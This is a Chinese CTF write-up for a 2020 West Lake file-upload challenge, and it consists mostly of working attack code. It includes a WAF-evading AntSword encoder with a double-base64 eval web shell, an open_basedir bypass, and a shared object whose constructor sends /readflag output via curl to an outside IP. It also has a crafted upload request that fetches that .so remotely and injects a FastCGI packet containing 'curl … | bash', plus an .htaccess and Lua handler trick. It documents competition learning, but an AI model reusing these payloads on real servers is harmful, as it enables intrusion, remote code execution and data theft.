时间:2020年10月8日

题目来源:2020西湖论剑

解题过程

起手一个文件上传,能够上传php文件,后缀名一个换行绕过即可,上传上去只能看一个phpinfo,禁用的函数列表:

忘了复制粘贴留下来了,反正很多。

看来绝大部分函数都被ban掉了,尝试用AntSword连接shell,连接不上,因为题目是有宝塔的apache waf,所以这里AntSword绕一下编码规则,设置编码规则:

/**
 * php::base64编码器
 * Create at: 2020/10/08 15:32:08
 */
​
'use strict';
​
/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例
​
  // 生成一个随机变量名
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[pwd] = Buffer.from(data['_']).toString('base64');
  data[pwd] = Buffer.from(data[pwd]).toString('base64');
  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
​
  // ##########    请在上方编写你自己的代码   ###################
​
  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

然后一句话设置成:

eval(base64_decode(base64_decode($_POST['cmd'])));

然后再改一改AntSword的User-Agent:

const USER_AGENT = 'Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101';

成功连接了Shell,尝试了绕过Disable_Func无果,插件都用过了,(后看WP发现有些师傅可以直接用FPM那个bypass掉。。不知道我这里出了什么问题)

突然发现file_get_contents没有被ban,就像看看/etc/passwd,结果发现open_basedir被限制在了/tmp目录和自己的沙盒目录,但在网上找了payload可以直接绕过open_basedir的:

mkdir('yyz');
chdir('yyz');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

bypass成功后,读取flag,发现没有权限,后看了看根目录发现有个readflag可执行文件。看来还是得拿到shell,依旧尝试网上bypass_disabled_function的payload,发现都不行。

赛后看了wp,发现还是有可行的payload:

服务器放置so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl 123.56.22.0:6666/`/readflag`");
}
gcc hpdoger.c -fPIC -shared -o hpdoger.so

然后

POST /sandbox/i9pkda6liup7jd81uouov1agud/index.php HTTP/1.1
Host: upload.f28a18.challenge.gcsis.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------31678586230937453831944973480
Content-Length: 1819
Origin: http://upload.f28a18.challenge.gcsis.cn
Connection: close
Referer: http://upload.f28a18.challenge.gcsis.cn/sandbox/i9pkda6liup7jd81uouov1agud/index.php
Cookie: PHPSESSID=i9pkda6liup7jd81uouov1agud; dasctf_sign_cookie=19a5c3663736071e6e03dec07fccc64a; dasctf_sign_javascript=ac0efff678a5740be048702812fb377a
Upgrade-Insecure-Requests: 1
​
-----------------------------31678586230937453831944973480
Content-Disposition: form-data; name="file"; filename="s.
p
h
p"
Content-Type: image/jpeg
​
��
[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770
IconResource=%SystemRoot%\system32\imageres.dll,-112
IconFile=%SystemRoot%\system32\shell32.dll
IconIndex=-235
<?
  mkdir('suanve');chdir('suanve');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
//var_dump(scandir("../../../../../../../../../../../../../tmp"));
echo copy("http://123.56.22.0:9999/hpdoger.so","/tmp/sky.so");
​
$fp = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'
​
​
?>
​
-----------------------------31678586230937453831944973480--

后非预期解(我认为的非预期解)

上传.htaccess

AddHandler lua-script .lua

再上传一个lua脚本(lua是跟php差不多的一种脚本语言)(看别人师傅说的是由于宝塔要运行自己的waf,所以可以解析lua脚本)

require "string"
​
--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"
    r:puts("Hello Lua World!\n")
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)
    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

上传访问即可!

Hello Lua World!
flag{5abc08cc7759710e3cbc41f52dc1dd85}

这比赛质量很高!我很菜,做了一天才做一道题,还是star师傅带了我一天才做出来的Orz


我啥也不会!